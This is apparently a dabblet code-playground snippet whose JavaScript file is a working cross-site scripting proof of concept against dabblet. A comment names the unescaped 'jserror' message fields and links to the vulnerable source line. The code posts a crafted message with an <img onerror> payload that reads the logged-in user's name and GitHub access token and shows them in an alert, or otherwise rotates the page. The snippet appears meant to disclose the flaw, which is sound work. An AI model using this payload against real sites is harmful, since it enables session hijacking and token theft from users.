The first commented line is your dabblet’s title

dabblet.css

/**
 * The first commented line is your dabblet’s title
 */

background: #f06;
background: linear-gradient(45deg, #f06, yellow);
min-height: 100%;

dabblet.html

<script>

	</script>

dabblet.js

// XSS: 
// name, message and lineNumber 
// are not escaped 
// https://github.com/LeaVerou/dabblet/blob/e0e125797483762fe7a96f8184bd2e4b38ed0263/code/dabblet.js#L596
parent.postMessage(JSON.stringify({
	action: 'jserror',data: {
		name: "",
		message:"<img src='' onerror='window.user ? alert(`Hello ${user.name}, Github access_token: (${ACCESS_TOKEN})`) : document.body.style.transform = `rotate(180deg)`'/>",
		lineNumber: 0
	}
}), '*');

settings.json

{"view":"split","fontsize":"120","seethrough":"","prefixfree":"1","page":"javascript"}